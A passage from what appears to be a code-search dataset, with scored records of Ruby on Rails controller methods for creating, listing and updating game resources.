"text": "def create\n @team = Team.find(params[:team_id])\n @game = @team.games.new(params[:game])\n @game.played = false\n @game.lineup_selected = false\n @game.goals_scored = 0\n @game.goals_suffered = 0\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to club_team_games_path(@team.club, @team), notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8d6625775a4201b4659162a119fcf6a0",
"score": "0.6108572",
"text": "def create\n @game = Game.new\n @game.creator_id = current_user.id\n @game.create_details(params[:game][:details]) if params[:game][:details]\n\n config_opentok\n @game.sessionId = @opentok.create_session.session_id\n\n respond_to do |format|\n if @game.save\n @game.create_moves(params[:game][:moves])\n format.html { redirect_to review_game_url(@game), notice: 'Awesome! Everything seems to have gone smoothly. You can share this url with anyone you want to join you.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "6693f5f9945a567dabb0db8418eea8a7",
"score": "0.60903925",
"text": "def create\n game = Game.new(game_params)\n\n if game.save\n render json: game\n else\n render json: {message: \"YA DUN GOOFED\", errors: game.errors.full_messages}, status: 406\n end\n end",
"title": ""
},
{
"docid": "9829f75fb32edcad008692e4fd0e5ca4",
"score": "0.6080745",
"text": "def new_game\n # Create a new game with state cleared\n @movement = Movement.new_game\n respond_to do |format|\n format.json do\n # Publish to faye, then the player 2 can see the new board with websocket\n render json: @movement\n end\n end\n end",
"title": ""
},
{
"docid": "f6aa72064802ad3a0703cb947815f049",
"score": "0.60723454",
"text": "def create\n @game = Game.new(counter: 0)\n if @game.valid?\n @game.save\n ActionCable.server.broadcast(\"new_games\", @game)\n end\n render json: @game\n end",
"title": ""
},
{
"docid": "ecfab27baf3de9c58bd77e2d6c3fab92",
"score": "0.6070512",
"text": "def create\n @team_game = TeamGame.new(params[:team_game])\n\n respond_to do |format|\n if @team_game.save\n format.html { redirect_to @team_game, notice: 'Team game was successfully created.' }\n format.json { render json: @team_game, status: :created, location: @team_game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @team_game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "8ad64d2530eff34a17bb3f8ebac751ab",
"score": "0.60539275",
"text": "def create\n @game = Game.new(game_params)\n if @game.save\n render json: @game\n else\n render json: @game.errors\n end\n end",
"title": ""
},
{
"docid": "7a7da410161f95cad62b04b5d7d4a45b",
"score": "0.60505974",
"text": "def getMyCreatedGame\n if(request.post?)\n cSocialID = self.findKeyInJSON(params[:params], \"SocialID\", 2)\n cSocialType = self.findKeyInJSON(params[:params], \"SocialType\", 2)\n \n rData = []\n \n begin\n a = Sbdbindexing.find(\"ongame_\" + cSocialType.to_s + \"_theirscene_\" + cSocialID.to_s)\n invitedGameIDs = a.arrayvalue\n \n invitedGameIDs.each do |aGameInfo|\n gameInfo = {\n \"SceneID\" => aGameInfo[0][\"sceneID\"],\n \"OpponentSocialFullname\" => aGameInfo[0][\"opponentSocialFullname\"],\n \"OpponentSocialID\" => aGameInfo[0][\"opponentSocialID\"],\n \"CreatedTime\" => aGameInfo[0][\"createdTime\"],\n \"SceneNo\" => aGameInfo[0][\"sceneNo\"],\n \"SceneStatus\" => aGameInfo[0][\"sceneStatus\"],\n \"GameID\" => aGameInfo[0][\"gameID\"]\n }\n rData << gameInfo\n end\n \n rData = rData.reverse\n rescue Exception => e\n end\n \n # Return JSON response\n cRequestID = self.findKeyInJSON(params[:params], \"RequestID\", 1)\n self.jsonRender(rData, 'My Created Games', cRequestID, '100')\n end\n end",
"title": ""
},
{
"docid": "c60a4f93f4001d613b53b025d38ddea4",
"score": "0.6048637",
"text": "def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n\n @game_tournament = GameTournament.new(\n game_id: @game.id, \n tournament_id: params[:post][:tournament_id].to_i\n )\n\n @game_tournament.save\n\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "67e96809a71bc50e17ab0cf486d1a282",
"score": "0.6044491",
"text": "def create\n @game = Game.new(params[:games])\n respond_to do |format|\n if @game.save\n redirect_to @game\n end\n end\n end",
"title": ""
},
{
"docid": "6445652181699c0ccd315c3a00e9b56b",
"score": "0.6041739",
"text": "def create\n respond_to do |format|\n require \"date\"\n if @game = Game.create(:week => Date.commercial(DateTime.now.year, DateTime.now.cweek, d=1))\n (1..11).each do |position|\n @game.frames.create(:position => position)\n end\n @game.active_frame = @game.current_frame = @game.frames.first.id\n if @game.save\n format.html { redirect_to(@game, :notice => 'Game was successfully created.') }\n format.xml { render :xml => @game, :status => :created, :location => @game }\n end\n else\n format.html { render :action => \"new\" }\n format.xml { render :xml => @game.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7f25477de7e1c9580a9f8149977ce1bc",
"score": "0.6031632",
"text": "def game_params\n params.require(:game).permit(:name, :game_id, :game_timezone, :url, :logo, :description, :photo)\n end",
"title": ""
},
{
"docid": "5068a0ca27ae23b1d06258f1bf2f195a",
"score": "0.60302436",
"text": "def index\n @games = Game.all\n render json: @games, status: 200\n end",
"title": ""
},
{
"docid": "395044b6dbb34bc00f143ddb1d650907",
"score": "0.6015656",
"text": "def index\n @games = @match.games\n render json: @games, root: false\n end",
"title": ""
},
{
"docid": "d84f222533764223631687a8413b83bc",
"score": "0.6013884",
"text": "def create\n @game = Game.new(game_params)\n @game.stage = Stage.find(params[:stage_id])\n @golfers = JSON.parse(params[:golfers])\n @game.current = true\n @remove_game = Game.all.select{ |g| g.current && !g.is_finish? }\n @remove_game.each do |game|\n game.destroy\n end\n\n @golfers.each do |golfer|\n new_score = @game.scores.create()\n new_score.golfer.create(name: golfer.name, sexe: golfer.sexe, handicapt: golfer.handicap)\n new_score.save\n end\n\n respond_to do |format|\n if @game.save\n format.json { render json: @game, status: :ok }\n else\n format.json { render json: \"{ 'error' : 'Bad parameters, game not created' }\", status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5521f4fd228d64be1cbcc8e84488f894",
"score": "0.6001556",
"text": "def create\n @game_api = GameApi.new(game_api_params)\n @game_api.game_id = @game.id\n respond_to do |format|\n if @game_api.save\n format.html { redirect_to game_game_api_path(game_id: @game.id, id: @game_api.id), notice: 'Game api was successfully created.' }\n format.json { render :show, status: :created, location: @game_api }\n else\n format.html { render :new }\n format.json { render json: @game_api.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a2113ace26e270595a9aabde6e2046a9",
"score": "0.5991945",
"text": "def create\n @game = Game.new({\n url: params[:url],\n dice_start: params[:dice_start],\n has_started: false,\n has_ended: false,\n ping: '0-1',\n })\n\n if (@game.save)\n render json: @game\n else\n render json: { errors: @game.errors }\n end\n end",
"title": ""
},
{
"docid": "b49a9213c2fcfbaf78c0ef75757e30ee",
"score": "0.5988608",
"text": "def index\n @games = Game.all\n render json: @games\n end",
"title": ""
},
{
"docid": "b49a9213c2fcfbaf78c0ef75757e30ee",
"score": "0.5988608",
"text": "def index\n @games = Game.all\n render json: @games\n end",
"title": ""
},
{
"docid": "3be45853120b8a6e0d4fc92a2cbd1956",
"score": "0.59832156",
"text": "def create\n @html5game = Html5game.new(params[:html5game])\n\n respond_to do |format|\n if @html5game.save\n format.html { redirect_to @html5game, notice: 'Html5game was successfully created.' }\n format.json { render json: @html5game, status: :created, location: @html5game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @html5game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2aba877a7321a29b8be7a4918d85e1a2",
"score": "0.5973774",
"text": "def index\n @games = @game_week.games\n render json: @games\n end",
"title": ""
},
{
"docid": "b5b221811e1bbab1f72ec9bb4eaa0c00",
"score": "0.59697264",
"text": "def game_params\n params.require(:game).permit(:name,\n :discord_webhook,\n journals_attributes: [\n :user_id,\n :type,\n :order,\n :fiber_id,\n params: {}\n ])\n end",
"title": ""
},
{
"docid": "95ea2f2c503ae575c73f0e253f679afb",
"score": "0.5957734",
"text": "def game_params\n params.require(:game).permit(:name, :description, :start_date, :venue_city, \n :venue_stadium, :sub_season_id, \n game_teams_attributes: [:id, :team_id, :_destroy],\n game_videos_attributes: [:id, :video_id, :_destroy])\n end",
"title": ""
},
{
"docid": "e24061169322230d131c0162debb5424",
"score": "0.5945126",
"text": "def create\n @game = Game.new(game_params)\n @game.owner = current_user.id\n @game.turn = current_user.id\n session[:game_id] = @game.id\n session[:game_name] = @game.name\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2eea6405921137c86ea8f5d07ad29b80",
"score": "0.5943835",
"text": "def update\n puts params\n respond_to do |format|\n session[:data] = game_params\n # puts \"SESSION DATA: \", session[:data]\n if @game.update(game_params)\n format.json { render json: @game }\n else\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4658c8b83bad58560c98443479ecb251",
"score": "0.59405386",
"text": "def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n message = \"Friendly game creation process initialized, an email has been send to #{@game.team2.name} to confirm the game.\"\n @game.create_facebook_game_event(current_player, facebook_app_access_token) if @game.create_facebook_event\n format.html { redirect_to(@game, :notice => message) }\n format.js { render :json =>{:message => message, :model => @game}.to_json, :status => :created}\n else\n format.html { render :action => \"new\" }\n format.js { render :json =>@game.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "4658c8b83bad58560c98443479ecb251",
"score": "0.59405386",
"text": "def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n message = \"Friendly game creation process initialized, an email has been send to #{@game.team2.name} to confirm the game.\"\n @game.create_facebook_game_event(current_player, facebook_app_access_token) if @game.create_facebook_event\n format.html { redirect_to(@game, :notice => message) }\n format.js { render :json =>{:message => message, :model => @game}.to_json, :status => :created}\n else\n format.html { render :action => \"new\" }\n format.js { render :json =>@game.errors, :status => :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "497334a8e11834b0a08ea35b6fd5f6bf",
"score": "0.59395564",
"text": "def create\n @game = Game.new(game_params)\n\n if @game.save\n render :show, status: :created\n else\n render json: @game.errors, status: :unprocessable_entity\n end\n end",
"title": ""
},
{
"docid": "9afd964788e30b97a75080d25d84b98c",
"score": "0.5938272",
"text": "def create\n @saved_game = SavedGame.new(saved_game_params)\n\n respond_to do |format|\n if @saved_game.save\n format.html { redirect_to @saved_game, notice: 'Saved game was successfully created.' }\n format.json { render :show, status: :created, location: @saved_game }\n else\n format.html { render :new }\n format.json { render json: @saved_game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c7ba70b1f8fe3a059efbb97fa475b8d4",
"score": "0.59196585",
"text": "def destroy\n @iframe_game.destroy\n respond_to do |format|\n format.html { redirect_to iframe_games_url, notice: 'Iframe game was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"title": ""
},
{
"docid": "83e0da34c33f3020483d8b392d665b57",
"score": "0.59109116",
"text": "def game_params\n params.require(:game).permit(:name, :platforms, :image, :description, :genre, :rating, :developers, :publisher, :review, :videos, :release_date, :user_id)\n end",
"title": ""
},
{
"docid": "a2580ba29ac6a0bde96f42a651ec72a3",
"score": "0.5910357",
"text": "def create\n @platform = Platform.find(params[:platform_id])\n @game = @platform.games.create(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to platform_path(@platform), notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "3d26090ba882ba44a1c0164c4d97c4e9",
"score": "0.59101117",
"text": "def create\n @team_game = TeamGame.new(team_game_params)\n\n respond_to do |format|\n if @team_game.save\n format.html { redirect_to @team_game, notice: 'Team game was successfully created.' }\n format.json { render action: 'show', status: :created, location: @team_game }\n else\n format.html { render action: 'new' }\n format.json { render json: @team_game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aa95c5bc349b4b20e7552dcd3eb41936",
"score": "0.59080905",
"text": "def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to \"/games\", notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "9e95b11bcea179ce667b3c4e5d81741b",
"score": "0.5906424",
"text": "def game_params\n params.require(:game).permit(:date, :home_team, :away_team, :scoreboard_id)\n end",
"title": ""
},
{
"docid": "c5faa1599239baff1a27b83e81db333e",
"score": "0.590418",
"text": "def create\n @twentyfortyeight_game = TwentyfortyeightGame.new(twentyfortyeight_game_params)\n\n respond_to do |format|\n if @twentyfortyeight_game.save\n format.html { redirect_to @twentyfortyeight_game, notice: 'Twentyfortyeight game was successfully created.' }\n format.json { render :show, status: :created, location: @twentyfortyeight_game }\n else\n format.html { render :new }\n format.json { render json: @twentyfortyeight_game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "f3c48ac66e56e00a84dd69f137d98f05",
"score": "0.59024894",
"text": "def new\n @team = Team.find(params[:team_id])\n @game = @team.games.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @game }\n end\n end",
"title": ""
},
{
"docid": "b0a1cc28e8a37d6ecfa78a8bef35bbdc",
"score": "0.5898216",
"text": "def create\n @tournament_game = TournamentGame.new(params[:tournament_game])\n\n respond_to do |format|\n if @tournament_game.save\n format.html { redirect_to @tournament_game, notice: 'Tournament game was successfully created.' }\n format.json { render json: @tournament_game, status: :created, location: @tournament_game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @tournament_game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "094131dc9cf17c4ba6fcaa21b24b5601",
"score": "0.58908314",
"text": "def create\n \n @team_1 = Team.find_by_name(params[:game][:team1_id])\n @team_2 = Team.find_by_name(params[:game][:team2_id])\n\n @user = User.find_by_fb_id(params[:game][:user_id])\n\n respond_to do |format|\n\n if @team_1.nil?\n @team_1 = Team.new(name: params[:game][:team1_id], captain_id: @user.id)\n @team_1.save\n end \n\n if @team_2.nil?\n @team_2 = Team.new(name: params[:game][:team2_id], captain_id: @user.id) \n @team_2.save \n end\n\n params[:game][:team1_id] = @team_1.id\n params[:game][:team2_id] = @team_2.id\n\n params[:game].delete :user_id\n\n @game = Game.new(params[:game])\n \n if @game.save\n format.json { render json: @game, status: :created}\n else \n format.json { render json: @game.errors }\n end \n end\nend",
"title": ""
},
{
"docid": "a6b55ec837b42f81b7759fa728fb2b2f",
"score": "0.5890528",
"text": "def create\n @frame = Frame.new(frame_params)\n @frame.try1 = 0\n @frame.try2 = 0\n @frame.total = 0\n @frame.game_id = session[:player_id] \n @frame.completed = false\n @frame.number = 1\n\n respond_to do |format|\n if @frame.save\n format.html { redirect_to @frame, notice: 'Frame was successfully created.' }\n format.json { render action: 'show', status: :created, location: @frame }\n else\n format.html { render action: 'new' }\n format.json { render json: @frame.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5cdcdd2e8655df182fb070a28806b4a8",
"score": "0.588984",
"text": "def new\n @challenge = get_challenge(params) \n @game = Game.find(params[:game_id])\n @challenge.game = @game\n respond_to do |format|\n format.html \n format.json { render :json => @challenge }\n format.js \n end\n end",
"title": ""
},
{
"docid": "5af53471ff55ef34c43a5f170769ad10",
"score": "0.5880711",
"text": "def update\n @game.update(game_params)\n render json: @game, status: 200\n end",
"title": ""
},
{
"docid": "978512ac2b893507152d48ad9d7d397d",
"score": "0.5874901",
"text": "def game_params\n params.fetch(:game, {}).permit(:website, :name, :status, :image_id, :igdb_id)\n end",
"title": ""
},
{
"docid": "607764f42062c19a2e8b3bf5347baa92",
"score": "0.5859868",
"text": "def new_game_session\n\n old_game = UserGameSession.where(token:session[:game_token]).first\n set_game_token({game_name:old_game.game.name})\n game_json = {\n :status => \"success\",\n :token => session[:game_token]\n }\n\n render json: game_json\n end",
"title": ""
},
{
"docid": "958ea498e824c6fe17b6d2bfce513d71",
"score": "0.5859311",
"text": "def create\n game_params[\"tags\"]=params[\"game\"][\"tags\"]\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render action: 'show', status: :created, location: @game }\n else\n format.html { render action: 'new' }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e8f40e9bf3ea97e29d3bcb7eda7b59ce",
"score": "0.5857986",
"text": "def game_params\n params.require(:game).permit(:game_id, :name, :description, :tag_id, :tag_name, :icon_image_path, :header_image_path, :web_view_url, :profile_key_name01, :profile_key_name02, :profile_key_name03, :profile_key_name04, :profile_key_name05, :profile_key_name06, :profile_key_name07, :profile_key_name08, :profile_key_name09, :profile_key_name10, :created_at, :updated_at)\n end",
"title": ""
},
{
"docid": "4405c38da8ddb9092082ba3cf627d182",
"score": "0.5857303",
"text": "def create\n server = params[:server]\n name = params[:name]\n\n search_string = \"https://teemojson.p.mashape.com/player/#{server}/#{name}/recent_games\"\n response = Unirest.get(search_string).body[\"data\"]\n\n sorted_game_nums = response[\"playerGameStatsMap\"].keys.sort_by(&:to_i)\n game_stats = response[\"gameStatistics\"][\"array\"]\n\n saved_games = []\n discarded_games = []\n\n if response.present?\n for num in sorted_game_nums\n for game in game_stats\n if num.to_i == game[\"gameId\"] && (game[\"queueType\"] == \"RANKED_SOLO_5x5\" || game[\"queueType\"] == \"NORMAL\")\n @game = Game.where(game_num: game[\"gameId\"], summoner_id: params[:game][:summoner_id]).first_or_initialize\n @game.game_num = game[\"gameId\"]\n @game.ip_earned = game[\"ipEarned\"]\n @game.ping = game[\"userServerPing\"]\n @game.time_in_queue = game[\"timeInQueue\"]\n @game.champion_id = game[\"championId\"]\n @game.queue_type = game[\"queueType\"]\n @game.spell_one = game[\"spell1\"]\n @game.spell_two = game[\"spell2\"]\n @game.team_id = game[\"teamId\"]\n @game.create_date = DateTime.parse(game[\"createDate\"])\n\n stats = game[\"statistics\"][\"array\"]\n\n for stat in stats\n case stat[\"statType\"]\n when \"WIN\" then @game.win = true\n when \"LOSE\" then @game.win = false\n when \"ITEM0\" then @game.item_zero = stat[\"value\"]\n when \"ITEM1\" then @game.item_one = stat[\"value\"]\n when \"ITEM2\" then @game.item_two = stat[\"value\"]\n when \"ITEM3\" then @game.item_three = stat[\"value\"]\n when \"ITEM4\" then @game.item_four = stat[\"value\"]\n when \"ITEM5\" then @game.item_five = stat[\"value\"]\n when \"ITEM6\" then @game.item_six = stat[\"value\"]\n when \"CHAMPIONS_KILLED\" then @game.champions_killed = stat[\"value\"]\n when \"NUM_DEATHS\" then @game.num_deaths = stat[\"value\"]\n when \"ASSISTS\" then @game.assists = stat[\"value\"]\n when \"GOLD_EARNED\" then @game.gold_earned = stat[\"value\"]\n when \"LEVEL\" then @game.level = stat[\"value\"]\n when \"MINIONS_KILLED\" then @game.minions_killed = stat[\"value\"]\n when \"NEUTRAL_MINIONS_KILLED\" then @game.neutral_minions_killed = stat[\"value\"]\n when \"NEUTRAL_MINIONS_KILLED_YOUR_JUNGLE\" then @game.neutral_minions_killed_your_jungle = stat[\"value\"]\n when \"NEUTRAL_MINIONS_KILLED_ENEMY_JUNGLE\" then @game.neutral_minions_killed_enemy_jungle = stat[\"value\"] \n when \"LARGEST_MULTI_KILL\" then @game.largest_multi_kill = stat[\"value\"]\n when \"LARGEST_KILLING_SPREE\" then @game.largest_killing_spree = stat[\"value\"]\n when \"TOTAL_DAMAGE_DEALT\" then @game.total_damage_dealt = stat[\"value\"]\n when \"TRUE_DAMAGE_DEALT_PLAYER\" then @game.true_damage_dealt_player = stat[\"value\"]\n when \"MAGIC_DAMAGE_DEALT_PLAYER\" then @game.magic_damage_dealt_player = stat[\"value\"]\n when \"PHYSICAL_DAMAGE_DEALT_PLAYER\" then @game.physical_damage_dealt_player = stat[\"value\"]\n when \"TOTAL_DAMAGE_DEALT_TO_CHAMPIONS\" then @game.total_damage_dealt_to_champions = stat[\"value\"]\n when \"TRUE_DAMAGE_DEALT_TO_CHAMPIONS\" then @game.true_damage_dealt_to_champions = stat[\"value\"]\n when \"MAGIC_DAMAGE_DEALT_TO_CHAMPIONS\" then @game.magic_damage_dealt_to_champions = stat[\"value\"]\n when \"PHYSICAL_DAMAGE_DEALT_TO_CHAMPIONS\" then @game.physical_damage_dealt_to_champions = stat[\"value\"]\n when \"TOTAL_DAMAGE_TAKEN\" then @game.total_damage_taken = stat[\"value\"]\n when \"TRUE_DAMAGE_TAKEN\" then @game.true_damage_taken = stat[\"value\"]\n when \"MAGIC_DAMAGE_TAKEN\" then @game.magic_damage_taken = stat[\"value\"]\n when \"PHYSICAL_DAMAGE_TAKEN\" then @game.physical_damage_taken = stat[\"value\"]\n when \"TOTAL_HEAL\" then @game.total_heal = stat[\"value\"]\n when \"TOTAL_TIME_CROWD_CONTROL_DEALT\" then @game.total_time_crowd_control_dealt = stat[\"value\"]\n when \"TOTAL_TIME_SPENT_DEAD\" then @game.total_time_spent_dead = stat[\"value\"]\n when \"WARD_PLACED\" then @game.ward_placed = stat[\"value\"]\n when \"SIGHT_WARDS_BOUGHT_IN_GAME\" then @game.sight_wards_bought_in_game = stat[\"value\"]\n end\n @game.champions_killed ||= 0\n @game.num_deaths ||= 0\n @game.assists ||= 0\n end\n if @game.save\n saved_games.push(num)\n else\n discarded_games.push(num)\n end\n end\n end\n end\n end\n\n @games = Game.where(summoner_id: params[:game][:summoner_id]).order(game_num: :desc)\n\n respond_to do |format|\n # if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render action: 'show', status: :created, location: @game }\n format.js\n # else\n # format.html { render action: 'new' }\n # format.json { render json: @game.errors, status: :unprocessable_entity }\n # format.js\n # end\n end\n end",
"title": ""
},
{
"docid": "c4a4baddd5a7a633ae891b751ec4dab9",
"score": "0.5848899",
"text": "def create\n @bet_game = Bet::Game.new(bet_game_params)\n\n respond_to do |format|\n if @bet_game.save\n format.html { redirect_to @bet_game, notice: \"Game was successfully created.\" }\n format.json { render :show, status: :created, location: @bet_game }\n else\n format.html { render :new, status: :unprocessable_entity }\n format.json { render json: @bet_game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "548e4ba287f261f95ff3b2729bdf2387",
"score": "0.5847887",
"text": "def game_params\n params.require(:game).permit(:banner_url, :title, :create_team, :bio, :like)\n end",
"title": ""
},
{
"docid": "457682a5335e4c15979889ee4710b8b5",
"score": "0.5843029",
"text": "def create\n @game = Game.new(game_params)\n if @game.save\n render json: { status: \"success\", message: \"Game created successfully!\", data:@game}, status: :ok\n else\n render json: { status: \"error\",message:\"Sad error\"}\n end\n end",
"title": ""
},
{
"docid": "43dcf64289231285e1c68f5df13586f8",
"score": "0.58395344",
"text": "def create\n @game = Game.new(game_params)\n setup_parameters()\n\n respond_to do |format|\n if @game.save\n save_individual_player_results()\n format.html { redirect_to @game, notice: 'Game was successfully saved.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "2726b877431b50224c3398b4013a834e",
"score": "0.5839283",
"text": "def game_params\n params.require(:game).permit(:home_team_id, :home_score, :away_team_id, :away_score, :played, :date, :championship_id)\n end",
"title": ""
},
{
"docid": "a3e4068bcf462c8a443194528d6ee830",
"score": "0.58326787",
"text": "def create\n @game = Game.new(params[:game])\n @game.host_id = current_user.player.id\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "7fbce79a7a8acec3d2efaea9fc369b19",
"score": "0.5830061",
"text": "def create\n gparams = game_params\n gparams[:ladder_id] = @match.ladder.id\n @game = @match.games.build(gparams)\n competitors = Competitor.find([@match.competitor_1, @match.competitor_2])\n @game.competitors << competitors\n\n respond_to do |format|\n if @game.save\n format.html {\n flash[:success] = 'Game was successfully added.'\n redirect_to @match\n }\n format.json { render json: @game, status: :created }\n else\n format.html { render action: 'new' }\n format.json { render json: {errors: @game.errors.full_messages}, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "51f85a5c520c1b4f2c85400d22977a19",
"score": "0.5826828",
"text": "def create\n puts @current_user.name\n #puts @current_user.gamesCreated.length\n @game = @current_user.games.build(game_params)\n if @game.save!\n json_response(@game, :ok)\n else\n json_response(nil, :bad_request)\n end\n end",
"title": ""
},
{
"docid": "d0cbee047f77d8231aa5ad8180bca987",
"score": "0.58223176",
"text": "def game_params\n params.require(:game).permit(:current_frame, :frame_stroke, :total_score,\n frames_attributes: [:first_stroke , :second_stroke, :extra_stroke])\n end",
"title": ""
},
{
"docid": "c6797a14d1fbffa4052dd6e7e0286931",
"score": "0.5821965",
"text": "def index\n @games = Game.all\n render json: { status: \"success\", message: \"Games returned successfully!\", data: @games}, status: :ok\n end",
"title": ""
},
{
"docid": "384f259a4e4caa6c671dce73d92817e3",
"score": "0.5820558",
"text": "def create\n @game = Game.new(game_params)\n @game.user = @current_user\n if @game.save\n render json: { status: 'Game created successfully', game: @game }, status: :created\n else\n render json: { errors: @game.errors.full_messages }, status: :bad_request\n end\n end",
"title": ""
},
{
"docid": "f989fd17f310ec9395bb517fd3010d3f",
"score": "0.5815966",
"text": "def create\n @game = Game.new(game_params)\n @game.sport_id = 1\n @game.created_by_id = session['id']\n @game.last_updated_by_id = session['id']\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game.event, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "a3033776d8f027b67f79052a2fca604c",
"score": "0.5808763",
"text": "def new\n @team_game = TeamGame.new\n\n respond_to do |format|\n format.html # new.html.erb\n format.json { render json: @team_game }\n end\n end",
"title": ""
},
{
"docid": "b7dd40c566cb18b641e5a69268d55823",
"score": "0.580797",
"text": "def create\n @team = Team.find(params[:id])\n @game = @team.games.build(game_params)\n @game.user = current_user\n\n\n respond_to do |format|\n if @game.save\n\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "c14373659f5bf10e74236d39da5d3f1b",
"score": "0.5806692",
"text": "def create\n if user_signed_in?\n params[:game] = { :user_id => current_user.id, :name => current_user.username }\n else\n params[:game] = { :user_id => nil }\n end\n params[:game][:question_ids] = Question.getrandomqs(5)\n @game = Game.new(game_params)\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render :show, status: :created, location: @game }\n else\n format.html { render :new }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "e319ad5e0f786a2142bbbc717ee71619",
"score": "0.58064264",
"text": "def create\n @game = Game.new(params[:game])\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "5c134898ddc87ed2289762ae892917bf",
"score": "0.58060306",
"text": "def create\n @nfl_teams = NflTeam.all\n @nfl_game = NflGame.new(params[:nfl_game])\n\n respond_to do |format|\n if @nfl_game.save\n format.html { redirect_to @nfl_game, notice: 'Nfl game was successfully created.' }\n format.json { render json: @nfl_game, status: :created, location: @nfl_game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @nfl_game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aaa74c4708a4a2d017928348e2038666",
"score": "0.5803367",
"text": "def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aaa74c4708a4a2d017928348e2038666",
"score": "0.5803367",
"text": "def create\n @game = Game.new(params[:game])\n\n respond_to do |format|\n if @game.save\n format.html { redirect_to @game, notice: 'Game was successfully created.' }\n format.json { render json: @game, status: :created, location: @game }\n else\n format.html { render action: \"new\" }\n format.json { render json: @game.errors, status: :unprocessable_entity }\n end\n end\n end",
"title": ""
},
{
"docid": "aaa74c4708a4a2d017928348e2038666",
"score": "0.5803367",
